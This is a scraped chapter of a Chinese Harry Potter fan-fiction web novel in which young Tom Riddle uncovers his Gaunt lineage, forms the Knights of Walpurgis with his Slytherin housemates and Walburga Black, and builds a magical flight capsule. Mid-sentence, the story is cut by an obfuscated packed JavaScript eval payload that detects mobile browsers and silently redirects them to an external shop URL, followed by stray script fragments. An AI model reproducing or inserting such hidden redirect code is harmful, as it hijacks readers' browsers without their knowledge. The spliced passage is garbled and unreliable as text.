文趣网 > 都市小说 > [HP]当汤姆的自我认知是外星人 > 16. 沃尔布加骑士团
    1941年9月,霍格沃茨。

    汤姆快15岁了,四年级。青春期让他像柳条一样抽条,变得格外英俊修长。

    先是学姐们注意到这棵青葱的幼苗,格外刻意地找他搭话。同级女巫和学妹们紧随其后,娇羞地把自己绣(或魔法绣)的手帕和缎带当作汤姆辅导功课的报酬。一时间,找他代写论文、辅导功课的人中,女性比例猛然上升。

    埃弗里有点酸。

    “我为什么没有这么一张漂亮的脸?”他自怨自怜。

    “你缺的可不止脸而已。”莱斯特兰奇说。

    出众的学习成绩,漆黑如鸦羽的头发,深邃如无星之夜的眼睛,俊美的外貌,低沉的声音,不凡的谈吐,神秘的身世——在小女巫们心中,哦——汤姆,俨然是一位巫师中的王子!里德尔的姓氏固然不出奇,但马尔福、莱斯特兰奇、埃弗里、诺特这些血统高贵的男孩却都以他为团队核心,这不更能证明里德尔的不凡吗?就连斯莱特林里最注重纯血的布莱克家小姐都为他倾心。沃尔布加在路过汤姆的座位时,会故意撩起她浓黑的漂亮卷发。

    在礼堂和教室,汤姆常常被不同年级和学院的女孩搭话。

    “里德尔~一起去图书馆吧~”

    “里德尔,你新养的狗叫什么名字?它真可爱。你知道吗,我也很喜欢狗——”

    “嘿,汤姆,这周末一起去霍格莫德吗——”

    “她们甚至还不知道你有蛇佬腔呢。”在只有他们两人时,莱斯特兰奇骄傲地说。

    汤姆着实不知道这有什么好骄傲的。

    到了这个年纪,男生们也像闻到蜂蜜的巨熊一样,对女生垂涎欲滴。埃弗里对露丝有种扭曲的迷恋,他蔑视她的血统,又被她沉默的蓝眼睛吸引。卡西乌斯·穆尔塞伯是个举止粗鲁的混小子,他尾随过格兰芬多的波特学姐,被毒打了一顿。阿布拉克萨斯则对格林格拉斯学姐胸前的隆起格外在意。……或许过于在意了。

    “你不是有未婚妻吗?”在阿布又一次直勾勾盯着格林格拉斯的胸脯时,诺特指出。

    “闭嘴!她才那么一点小!”阿布拉克萨斯惊慌地说。他的未婚妻比他小五岁,还没进霍格沃茨。

    “小?小的是什么啊?”卡西乌斯·穆尔塞伯起哄。

    斯莱特林的男生们爆发出一阵恶俗的笑声。路过的女巫听到了他们的话,白眼已经翻到天边了。

    汤姆在这帮青春期男生之间独树一帜。他不参与这种谈话,甚至不是因为害羞——他只是完全不关心。

    他对那些姑娘们——无论是羞红着脸的赫奇帕奇,还是矜持高贵的斯莱特林,还是温柔聪敏的拉文克劳,还是热烈勇敢的格兰芬多——完全没有特殊的感情。没有融化,没有悸动,没有被淹没在一双水蓝色的湖泊里心甘情愿就此溺亡的冲动。

    (这让他对小女巫们来说更有吸引力了。哦——像苦修者一般冷漠的里德尔,真像个谜,多么迷人。)

    他只是衷心希望,女生们找他抄作业、代写论文时能直接付银西可,不要送手帕。手帕。手帕。为什么总是手帕?还绣着名字,不好卖。也不要送掺着迷情剂的巧克力之类的东西。那种巧克力一般只能用来喂阿布拉克萨斯。

    (步骤:1.让阿布恰好“误食”巧克力。2.在阿布彻底出丑以前把他用被子捆在床上。3.事后收取阿布的感谢费。这套流程重复了三四次,阿布拉克萨斯已经发觉不对,甚至戴上了鉴别毒药的银戒指。这门生意不可持久。)

    因为汤姆旁边总是有漂亮的姑娘凑过来,卡西乌斯·穆尔塞伯强行挤进了他们宿舍的小团体,朝追求汤姆的姑娘们吹口哨。汤姆任由他待着,这人虽然粗鲁,但是非常擅长魔咒学,而且很会打架。

    “为什么里德尔身边这么多漂亮姑娘,没一个搭理我?”穆尔塞伯不满地嘟哝。

    “你说呢?”埃弗里摊手。

    “你成功让和汤姆搭话的姑娘变少了。”阿布拉克萨斯翻白眼,“这是他容忍你的重要原因。”

    他说得对。

    青春期的躁动没有从“繁殖”这个角度影响未来的Dark Lord(他可能更乐意被称为Mars Lord),却从其他维度影响了他。

    首先,他的个头又往上拔了几英寸。他用优秀的缝纫魔法,完美地把一年级的旧衬衫变成了四年级仍能得体穿着的衬衫(还用这门技艺从同样受衣服配给制影响的麻瓜种学生那里挣了一笔钱)。

    其次,他变得非常,非常暴躁。漆黑的怒火从他的最深处燃起,焚烧着他的脏腑,最小的刺激都能让它蔓延成铺天盖地的杀意。

    有时候为了解压,他会故意发动骨柄上的血咒,让克雷克死去活来(字面意义上)。克雷克发来哀求的信,在信封里塞了更多金加隆,也不能让汤姆胸口的烦闷熄灭。

    汤姆花了暑假的两个月不断改造、重建维生舱,又让克雷克在里面住了一个月。如今它变得更丑了,里面还有股淡淡的脚臭味。

    “它上学期还只是一只被巨怪踩过的茶叶罐。”阿布拉克萨斯掩住鼻子,“现在像一口挤满死麻瓜的扁棺材。汤姆,你至少该给它施个除臭咒。”

    汤姆冷冷地看了他一眼。

    “进去。”汤姆说。

    “我又不是说——”

    “我让你进去,阿布。”汤姆的声音像深海的冰。

    阿布拉克萨斯愣住了。他恐惧地看向汤姆,意识到他是认真的,咽了一口唾沫。

    “如——如果我——我爸爸会——”他结结巴巴地说。

    汤姆只是冰冷地盯着阿布拉克萨斯。他的目光太过恐怖,以至于穆尔塞伯张大嘴巴,埃弗里惊恐地捂住嘴,诺特开始神经质地咬手指。

    阿布拉克萨斯在胁迫下钻进了维生舱,又捂着鼻子、抖如筛糠地钻了出来。

    他们不知道,暑假里汤姆已经拿克雷克在里面做过人体实验了。

    ————

    虽然汤姆内心充满暴烈的怒火,所有舍友都得小心翼翼地看着他的脸色过活,但在宿舍之外,汤姆·里德尔还是那个和蔼可亲的优等生。女巫们恋慕他,男巫们敬仰他。

    沃尔布加·布莱克高傲地送给他一本《无翼升行与逆坠十三论》。这件事本身暴露出她一直在悄悄留意汤姆在研究什么。

    “布莱克家族珍藏书籍的复刻本。同为斯莱特林,希望你不因贫匮堕学院之名,里德尔。”她高昂着头。

    “谢谢你的帮助,布莱克小姐。”汤姆神色感激。他抬头望向她,黑色的睫毛在虹膜上留下羽毛状的阴影,不知为何女生们格外喜欢这个角度。

    沃尔布加红着耳根走了。汤姆翻开书,里面夹着一朵三色堇。

    “布莱克家的女人。”埃弗里低声嘟囔。

    “布莱克家的女人。”穆尔塞伯唏嘘,“确实漂亮——但——”

    “她们都是疯子。”诺特很小声地说,“小心点。我曾祖父的日记上写,几百年前有一个嫁到冈特家的布莱克女巫,因为嫉妒毒死了丈夫的三个妹妹和两个侄子。”

    (从冈特的家谱上看,那嫉妒可能不是无来由的。)

    阿布拉克萨斯没吱声,因为他的远房姑母、姨母中有好几个布莱克。但他也没有反对。

    汤姆的手指停在书页上。

    “冈特家与布莱克家通婚过?”他问。

    “很久以前。”诺特说,“你对冈特这么感兴趣?”

    汤姆没有回答。

    上个月,克雷克已经给了他“冈特”这个姓;《预言家日报》又给了他马沃罗和莫芬的名字、两份刑期,以及“萨拉查·斯莱特林直系血脉”这一行字。可是报纸只记录了两个犯法的男人。它没有告诉汤姆,这一家还有过什么人,彼此是什么关系,又为什么没有任何人来孤儿院找他。

    霍格沃茨的图书馆应当能告诉他更多。

    ————

    顺带一提,汤姆的狗——他没有给狗起名字,狗还是狗——也跟着他来到了霍格沃茨。

    狗被养在猎场看守那边。

    狗喜欢霍格沃茨,这点和主人也很相像。它每天在甘蓝丛中扑地精玩,吃家养小精灵准备的狗饭,壮了一圈。

    “这是一只德国牧羊犬。麻瓜打从上一次和德国人打仗起,就喜欢叫它们阿尔萨斯犬。现在又打起来了,更没人肯叫那个名字。”猎场看守奥格欣赏地说,“非常聪明,非常忠诚。哦,我很乐意收留它。这只可爱的大小伙子叫什么名字,里德尔?”

    “我就叫它狗。”

    “哦……这是不是太简单了?”

    “够用了,先生,我只有它一只狗。”

    猎场看守奥格有个小帮手,叫鲁伯·海格,是一个格兰芬多。他才刚上二年级,就有两个汤姆那么高,三个汤姆那么宽,气力极大。

    去年分院仪式的时候,莱斯特兰奇看到他就断定:“巨人的杂种。”

    “他爸爸是怎么硬起来的——”

    “——或者他妈妈是怎么承受的——”

    斯莱特林桌上传来一阵窃笑。

    现在这个半巨人正在逗汤姆的狗玩,给它喂水煮的里脊肉条。狗把尾巴摇成螺旋桨。

    汤姆盯着大块头和自己的狗亲密互动,胸口涌上一股扭曲的怒火,但是他也说不明白自己在气什么。

    他走近一步。狗看到他,欢快地汪了一声,甩下海格朝他跑来。

    嗯。汤姆不那么气了。

    “嘿——请问是里德尔学长吗?”海格走过来。他有一副与体型不符的、孩子气的未变声嗓音:“我,我是鲁伯,鲁伯·海格。”

    “你好,海格。”

    “叫——叫我鲁伯就可以了。”海格羞涩地说,“这是你的狗吗,里德尔学长?”

    “是的。”

    “哦——它真是个漂亮的小伙子。你说是不是,好小伙?乖乖,乖乖。”

    狗又把头凑到半巨人手边,舒服地任那只粗糙的大手挠着下巴。汤姆心里那种不舒服的怒火又喷出来了。*这是我的狗。*但又不好发作。

    在海格逗狗玩的时候,汤姆打量他。半巨人的校袍显然刚在暑假接长过一截(粗糙的缝纫魔法。汤姆挑剔地评价),袖口停在粗大的腕骨上。他只有十二岁,肩膀已经比奥格还高,乱蓬蓬的黑发盖住半张宽阔而仍带孩子气的脸;鼻子扁而大,眼睛却很小,乌亮亮地埋在头发下面,像两粒被雨水打湿的黑甲虫。他的手掌几乎能托住狗的整个脑袋,指甲缝里全是泥,左耳后别着一缕脏兮兮的银白色毛发。

    “……那根独角兽毛是从哪找到的?”汤姆睁大眼。

    “挂在禁林的树杈上。我猜是鲁米尼那匹小马驹留下的,它奔跑时很容易不看路——哦,请务必对这件事保密!”

    “当然,我会守口如瓶的,鲁伯。还有,叫我汤姆吧。”汤姆笑了起来,笑容如沐春风。

    一段友谊就此开始。——在交友品味上,汤姆和斯拉格霍恩很像。

    海格非常珍惜所有不因为他半巨人血统而歧视他的朋友。很快,汤姆就从他那里搞来了三根独角兽毛、几根可以做魔杖的紫杉树枝和半品脱蜘蛛毒液。从一些迹象上看,海格可能正在城堡里孵一颗八眼巨蛛卵。汤姆在某种程度上敬重他。哦,格兰芬多就是这样:善良地做出比黑巫师还危险的事。

    (汤姆确实不因为海格的血统歧视海格。实际上,汤姆歧视除他自己以外的所有人:麻瓜是弱小的肉虫,巫师则是暴殄天物的蠢货。)

    莱斯特兰奇对汤姆与海格日渐增多的交往感到不满。

    “——那是个低贱的巨人混种,血里天生带着蛮暴的种子。”宿舍里,他这么对汤姆说。

    “我只是去看我的狗。”汤姆说。

    “远离鲁伯·海格,汤姆。您这样流着斯莱特林之血的人不该和他那种东西呼吸同一片空气。”莱斯特兰奇压低声音。

    “哦,阿尔芒。”汤姆语气和悦,“谢谢你替我决定该和谁交往。”

    莱斯特兰奇的脸色逐渐变得苍白。“不,汤姆,我不是——”

    “你不是忠诚于我,而是以你的忠诚为条件约束我,对不对?”汤姆俯下身,让漂亮的面孔逼近莱斯特兰奇苍白的脸,漆黑的双眼直直地与他对视,“不,汤姆,不能做这个。不,汤姆,不能和那个人接触。你不想服从我,阿尔芒,你想控制我。”

    “对——对不起,我没有,我没有——”

    “忠诚如果只肯服从自己赞同的命令,就不叫忠诚。”汤姆拍拍莱斯特兰奇的手臂,“替我把这张纸条交给格兰芬多的鲁伯·海格,阿尔芒。你会帮我的吧?”

    阿尔芒顺从了。很好。

    ————

    汤姆需要查汤姆·里德尔和马沃罗·冈特这两个名字。

    他先查的是汤姆·里德尔。

    霍格沃茨历届入学名册、级长名录、男生学生会主席名录、奖杯陈列室、校史附录和纪律处分记录里,都没有这个名字。汤姆把过去四十年的名册逐页翻完,连一个姓氏拼写近似的巫师家庭都没有找到。

    他的父亲从未进入魔法世界。

    哦。那个把名字与姓氏留给他的人是个麻瓜。

    随后,他沿着上个月查到的马沃罗·冈特继续往下追。

    诺特用了三个晚上,把纯血家族谱系卡片里所有以M开头的男性名字翻了一遍。第四天,他带来一张泛黄的小卡,边缘已经被他捏得发软。

    “Marvolo Gaunt(马沃罗·冈特)。”诺特说,“小汉格顿。冈特家最后一任有记录的家主。”

    按照这个线索,汤姆在图书馆找到了《不列颠古老巫师血脉续考》。书里写:冈特家族拒绝以婚姻稀释古老天赋,长期远离公共生活,守护萨拉查·斯莱特林的直系血脉。

    下面列着马沃罗的子女。

    Morfin Gaunt(莫芬·冈特)。

    Merope Gaunt(梅洛普·冈特)。

    汤姆盯着第二个名字。他在孤儿院的记录里看到过梅洛普·里德尔这个名字。她是他的妈妈。

    他的母亲不是一个凭空出现在孤儿院台阶上的女人。她有父亲,有哥哥,有家族,有一个能够追溯到霍格沃茨创始人的姓氏。

    没有一个人来找她。

    也没有一个人来找他。

    “他们让她死了。”汤姆自言自语。

    诺特不敢说话。

    其实,没人知道马沃罗是什么时候死的、莫芬什么时候出狱的,也没人知道梅洛普是否曾经写信找过他们,她是不是宁愿死也不愿意求助。但那些对汤姆来说已经不重要了。

    汤姆需要的不是完整的事实,而是应当为此负责的人。为他孤儿的苦难负责的人。

    当天夜里,汤姆把从海格那里弄来的一条幼年蝰蛇放到寝室桌上。

    蛇从玻璃箱里抬起头。

    “告诉他们我是谁§。”汤姆说。

    “会说话的人§。”蛇回答,“很生气的人§。”

    寝室里一片死寂。

    阿布拉克萨斯最先转头看莱斯特兰奇。阿尔芒的脸上没有惊讶,只有一种压抑了太久、终于等到别人也被允许看见的虔敬。

    “你早就知道?”阿布拉克萨斯问。

    “二年级。”莱斯特兰奇说。

    “你两年都没有告诉我们?”埃弗里的狂喜里立刻掺进了被排除在外的不满。

    “汤姆不准。”

    他说得理所当然。汤姆看了他一眼。阿尔芒确实一次也没有泄露过。

    穆尔塞伯盯着那条蛇:“你问它,我手里有什么。”

    穆尔塞伯把两只手都背到身后。蛇不耐烦地吐着信子。莱斯特兰奇瞪着这个胆敢怀疑汤姆的人。

    “左手,一枚黄铜螺母§。”它说,“这个人身上有铁屑、汗和很难闻的脚的味道§。”

    汤姆翻译。

    穆尔塞伯摊开左手。掌心里是一枚从维生舱拆下来的黄铜螺母。

    “我的母亲叫梅洛普·冈特。”汤姆说,“马沃罗·冈特的女儿。萨拉查·斯莱特林是我的祖先。”

    莱斯特兰奇单膝跪了下去。

    “继承人。”他低声说。

    “站起来,阿尔芒。”汤姆说。

    莱斯特兰奇没有动。

    “我让你站起来。”

    莱斯特兰奇立刻站起来了。

    “你打算改姓冈特吗?”阿布拉克萨斯问。他迅速想到了冈特这个姓还剩下多少财产、多少政治价值,汤姆若公开血统会得到什么,又会惊动什么人。

    “为什么?”汤姆反问,“冈特属于我,不是我属于冈特。”

    阿布拉克萨斯郑重地点了点头。

    “今晚的事,谁都不能说出去。”汤姆环视他们,“不是因为我羞于自己的血统。而是因为一个秘密只有在我决定公布的时候才有价值。”

    “当然。”诺特立刻说。

    “当然,汤姆。”埃弗里说。

    穆尔塞伯把那枚螺母抛起来又接住。“如果有人说了呢?”

    汤姆看向他。

    穆尔塞伯脸上的笑慢慢消失了。

    “你可以试试,卡西乌斯。”汤姆温和地说。

    “我只是问。”穆尔塞伯把螺母放回桌上。

    汤姆需要的不再是几个舍友。

    “我们需要一个组织。”他说。

    “秘密社团?”埃弗里立刻兴奋起来,“有暗号吗?徽章呢?我们是不是——”

    “先闭嘴。”阿布拉克萨斯说。

    “做什么?”诺特问。

    “取得书、材料、消息,以及我们需要的位置。保护彼此的秘密。执行我的命令。”汤姆说,“等我们成年以后,就不再让任何一个庸碌的人仅仅因为比我们早出生四十年,便有资格决定我们能做什么。”

    莱斯特兰奇的呼吸变重了。

    “斯莱特林骑士团。”他说。

    “太显眼。”诺特小声说,“也太像学校社团了。旧日的巫师结社常以瓦尔普吉斯之夜命名。Knights of Walpurgis(沃尔普吉斯骑士)怎么样?女巫在那一夜离开城镇,在山上集会。”

    “德国名字。”埃弗里说。

    “比‘里德尔和他的朋友们’好。”阿布拉克萨斯把这个名字默念一遍,皱皱眉,“听起来太像Walburga(沃尔布加)了。千万别让她听见,她会认定这支骑士团是为她成立的。”

    汤姆低头看着桌上的蝰蛇。蛇沿着摊开的族谱爬行,细长的身体恰好从萨拉查·斯莱特林的名字上经过。

    “沃尔普吉斯骑士。”他说。

    他们没有割开手掌,交换鲜血,也没有念一段从古书里抄来的浮夸誓词(埃弗里感到很失望)。汤姆不相信一次仪式就能制造忠诚。他给每个人分配了明天要做的事。

    莱斯特兰奇负责取得一间不会被管理员发现的大教室;诺特继续查冈特与斯莱特林;阿布拉克萨斯提供下一批黄铜和一只气压计;埃弗里调查哪些高年级学生有魔法部亲属;穆尔塞伯把那枚从维生舱上拆下来的螺母装回去。

    人人都服从了。

    骑士团成立后的第一项集体任务,是修理一口有脚臭味的扁棺材。

    第二项,是阻止沃尔布加·布莱克的入侵。

    第二项任务没有成功。

    事情起因于阿布拉克萨斯。他奉命寻找《无翼升行与逆坠十三论》的第二卷。那是布莱克家的藏书,因此他在公共休息室里把沃尔布加叫到一旁。

    马尔福家与布莱克家来往密切。阿布拉克萨斯和沃尔布加从小便在同一批生日宴、夏季舞会和沉闷的家族晚餐上见面。他知道她什么时候准备发怒;她也知道他什么时候在撒谎。

    “《无翼升行与逆坠十三论》第二卷在你家吗?”阿布

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830844|211320||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拉克萨斯问。

    “有。”沃尔布加的手指轻轻一动,“……里德尔需要?”

    “不只是汤姆,是沃尔普吉斯骑士——”

    阿布拉克萨斯停住了。

    “什么骑士?”沃尔布加扬起眉毛。

    “没什么。”

    “沃尔普吉斯骑士?”她把每个音节都念得清清楚楚,“听起来很像沃尔布加的骑士。”她显然很喜欢这个名字。

    阿布拉克萨斯开始后悔自己为什么不能直接去布莱克家的藏书室偷书。

    沃尔布加看了一眼阿布拉克萨斯,若有所思。

    “里德尔成立的?”她扬起唇角,捋了捋卷发。

    阿布拉克萨斯没有回答。

    他的沉默回答得太明显了。

    “带我去。”沃尔布加命令。*听上去完全是“里德尔建立了沃尔布加骑士团”。——虽然里德尔出身寒微,但是如果他真的要为我效忠的话,我也不是不能——*

    “不行。”阿布拉克萨斯拒绝。

    “那我现在过去问他。”

    汤姆正坐在公共休息室的壁炉旁,周围有两个五年级学姐和一个三年级学妹,其中一个学姐正把他的袍角绞在手指上玩。阿布拉克萨斯想象了一下沃尔布加当着她们的面高声询问“沃尔普吉斯骑士”,脸色变了。

    “你得发誓不对任何人说。”

    “我为什么要对你发誓?”

    十分钟后,阿布拉克萨斯带着她来到骑士团的空教室。

    汤姆看见沃尔布加,先看她,再看阿布拉克萨斯。

    “我只说漏了名字。”阿布拉克萨斯立刻说。

    汤姆用杀人的目光盯着马尔福:“哦,阿布拉克萨斯。”

    沃尔布加把浓黑的长卷发拢到一边。汤姆坐在长桌尽头,烛光落在他苍白漂亮的面孔上,马尔福、莱斯特兰奇、诺特、埃弗里和穆尔塞伯围坐在他两旁。

    沃尔布加扬起下巴看着汤姆,耳根微微发烫。一群斯莱特林男孩,秘密成立了一支念起来几乎像“沃尔布加骑士团”的骑士团,由她喜欢的英俊男孩统领。哇。这是圣诞节吗?

    “我要加入。”沃尔布加理所当然地宣布。

    “不行。”汤姆说。

    “理由?”

    “骑士团不接受自荐。”

    沃尔布加看向穆尔塞伯。“他是你们邀请来的?”

    穆尔塞伯不满地抬起头。

    汤姆没有回答。

    “名字来自瓦尔普吉斯之夜。”沃尔布加继续说,“女巫之夜。你们借一群女巫的集会给自己命名,然后规定女巫不得加入?”

    “我没有规定女生不得加入。”汤姆说。

    “很好。第二个拒绝理由也没有了。”

    埃弗里没忍住笑了一声。汤姆转头看他,他立刻肃然。

    “我不需要你。”汤姆说。

    沃尔布加把手按到桌面上,俯身看着汤姆。

    “斯莱特林还有一半学生。她们给母亲、姑母和已经嫁进魔法部各家的姐姐写信;她们知道谁要订婚,谁家缺钱,哪位教授偏爱什么样的学生,哪一个男孩在宴会上说了不该说的话。埃弗里知道谁在和谁亲吻,却不知道她们亲吻完以后谈了什么。”

    “喂!”埃弗里抗议。

    “我能进布莱克家的藏书室,能让斯莱特林的女生闭嘴,也能让她们开口。”沃尔布加说,“你说骑士团要书、材料、消息和位置。我都有。理由不成立。”

    她说着,已经在阿布拉克萨斯让出的椅子上坐下了。

    汤姆的拒绝第一次失败。

    为了不让沃尔布加名副其实统治骑士团,汤姆打开桌上的玻璃箱。

    “出来§。”他说。

    幼年蝰蛇从干苔藓里昂起头,顺着他的手腕爬到桌面。

    沃尔布加脸上的胜利神色消失了。

    “蛇佬腔。”她战栗了一下。

    “我的母亲是梅洛普·冈特。”汤姆说,“马沃罗·冈特的女儿。我是斯莱特林的直属后裔。”

    沃尔布加握紧椅子扶手,灵魂被风暴席卷,无数代表着命中注定爱情的花瓣玫瑰乘风迎面扑来。小女巫本来就很难抵抗这张脸——如果这张脸恰好还属于萨拉查·斯莱特林的继承人,这个小女巫又恰巧是个笃信纯血论的布莱克,情况只会进一步恶化。她站起来,提起校袍一侧,向他行了一个古老而标准的屈膝礼。

    “沃尔布加·布莱克向斯莱特林的继承人致意。”

    “坐下。”汤姆说。

    她坐下了,脸上写着:你刚才居然还想把我关在门外,你怎么敢?

    很快,沃尔布加从家里弄来了《无翼升行与逆坠十三论》的第二卷,列出十一名与魔法部官员有亲属关系的斯莱特林女生,查清了其中七人的家族立场,还在两位学姐循着传言找到他们的实验室以前,把她们引去了错误的走廊。她没有向任何人泄露骑士团、蛇佬腔或者冈特。

    她很快适应了被骑士们簇拥的生活。阿布拉克萨斯替她拉开椅子;莱斯特兰奇为她扶门;埃弗里每天都能发现她的头发、长袍或者发卡格外漂亮;诺特把字迹最整齐的族谱卡先交给她看。穆尔塞伯……好吧,穆尔塞伯想献殷勤,被她用蜇人咒驱逐了。

    汤姆从不替她拉椅子,也不恭维她。说实话,她加入骑士团后,他对她的态度居高临下,更加冷淡和直白,更毫无以往对女生的那点客套和绅士风度可言。但沃尔布加对他的迷恋反而更深了。

    从旁人看来,她俨然是一位被年轻骑士簇拥的斯莱特林女皇,其他女巫羡慕又妒忌。

    集会时,骑士团里又全是英国人,没人能把Walpurgis的德语发音念得多么标准。这个名字从阿布拉克萨斯和埃弗里嘴里出来,果然越来越像Walburga。

    “是沃尔普吉斯,不是沃尔布加。”汤姆纠正。

    “我听得出区别,汤姆。”沃尔布加说。

    “那就纠正他们。”

    “为什么?”

    汤姆“啧”了一声。沃尔布加骄傲地昂头。

    ————

    维生舱原型完成以后,汤姆开始给它安装推进系统。

    十二道铜环被固定在舱体外侧。最下面四道承载羽毛轻咒与漂浮咒,负责把有效重量压到原来的八分之一;中间四道是驱逐咒阵列,按照一、三、二、四的顺序向地面的玄武岩锚板施咒;最上面四道则刻着逆坠魔文,使舱体在失去推进力后不会立刻恢复全部坠落速度。

    “为什么不能一、二、三、四?”埃弗里问。

    “因为相邻两组同时启动会把这一侧的舱壁撕开。”露丝回答。埃弗里听到她回答自己,似乎有点意外,耳根红了一瞬。

    “那为什么不是一、三、四、二?”

    “因为它会横着飞进禁林。”肖说。

    埃弗里点点头,退远了一点。

    阿布拉克萨斯提供了一只黄铜气压计,并坚决要求自己的名字出现在地面仪器一栏,而不是“人体试验者”。诺特负责记录每道回路的启动时间。莱斯特兰奇测试外壳在推进途中遭受恶咒后的稳定性。露丝检查魔文之间是否共享供能节点。肖在图纸上画出每一个仍能使整套系统同时失效的位置。

    穆尔塞伯对这个奇怪的黄铜疙瘩很感兴趣。他设计了一款分序器,解决了如何按序迅速启动铜环的问题,这让他很有成就感。

    两周后,他为了向埃弗里证明自己的分序器“闭着眼也不会出错”,在露丝还蹲在黄铜疙瘩旁边检查银线时拨动了开关。

    第一道铜环亮起。被三条铁链固定在地面的维生舱猛地向上一撞,一条铁链当场绷断,断裂的链尾贴着露丝的耳朵抽过,在墙上留下一道半英寸深的凹痕。

    汤姆立即切断供能,舱体重重落地。

    露丝慢慢站起来,脸上一点血色都没有。埃弗里冲到她身旁。穆尔塞伯张了张嘴。

    汤姆走到他面前。

    “抓住第三道推进环。”他说。

    “什么?”

    “抓住。”

    穆尔塞伯没有动。下一秒,他脸上的血色骤然褪去。他的右臂自行抬起,五指张开,一寸一寸伸向滚烫的铜环。他用左手死死抓住右手腕,手背青筋暴起,仍然不能让那只手停下来。

    诺特惊恐地后退,撞在桌角上。莱斯特兰奇认出那是什么咒语,呼吸停了一瞬。无声夺魂咒。

    穆尔塞伯的指尖碰到烧红的铜环内缘之前,汤姆解开了咒语。

    他的手臂猛地垂了下来。

    “下一次,未经我的命令启动它,”汤姆轻声说,“我会让你看着自己的手烧成焦炭。”

    穆尔塞伯喘得像刚跑完一英里。他看了露丝一眼。那道断掉的铁链还在她脚边晃动。

    “知道了,汤姆。”他说。

    “把链条修好。”

    穆尔塞伯跪在地上修理链条。

    此后,卡西乌斯·穆尔塞伯再也没有在汤姆说“启动”以前碰过开关。

    ————

    回收系统一共有三套。第一套是减速咒;第二套是一只由麻瓜丝绸与魔法绳索制作的降落伞;第三套是汤姆留在地面施展的飞来咒。

    “如果里面的人昏过去呢?”肖问。

    汤姆在图纸上加了一条能自动启动减速咒和降落伞的触发回路。

    “如果自动回路坏了呢?”

    汤姆又加了一只机械气压开关。

    “如果气压开关冻住呢?”

    汤姆抬起头,阴森森地看着他。

    “我只是问问。”肖举双手投降。

    这次预备放进舱内的是另一只刺猬。汤姆准备给它备下足够维持七十二小时的水、食物和空气,也做好了保温,脚踝上系着一根检测心跳的银线。他没有给它起名字,没必要。

    其他人私下叫它哈雷(Halley),因为哈雷是会回来的。